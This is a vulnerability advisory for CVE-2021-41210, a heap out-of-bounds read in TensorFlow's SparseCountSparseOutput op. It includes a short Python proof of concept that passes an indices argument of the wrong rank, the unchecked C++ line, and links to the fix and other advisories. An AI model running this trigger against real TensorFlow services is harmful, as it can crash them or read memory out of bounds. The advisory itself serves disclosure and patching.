CVE-2021-41210: Heap OOB read in `tf.raw_ops.SparseCountSparseOutput`
(updated )
The shape inference functions for SparseCountSparseOutput
can trigger a read outside of bounds of heap allocated array:
import tensorflow as tf
@tf.function
def func():
return tf.raw_ops.SparseCountSparseOutput(
indices=[1],
values=[[1]],
dense_shape=[10],
weights=[],
binary_output= True)
func()
The function fails to check that the first input (i.e., indices
) has rank 2:
auto rank = c->Dim(c->input(0), 1);
References
- github.com/advisories/GHSA-m342-ff57-4jcc
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-619.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-817.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-402.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/701cfaca222a82afbeeb17496bd718baa65a67d2
- github.com/tensorflow/tensorflow/security/advisories/GHSA-m342-ff57-4jcc
- nvd.nist.gov/vuln/detail/CVE-2021-41210
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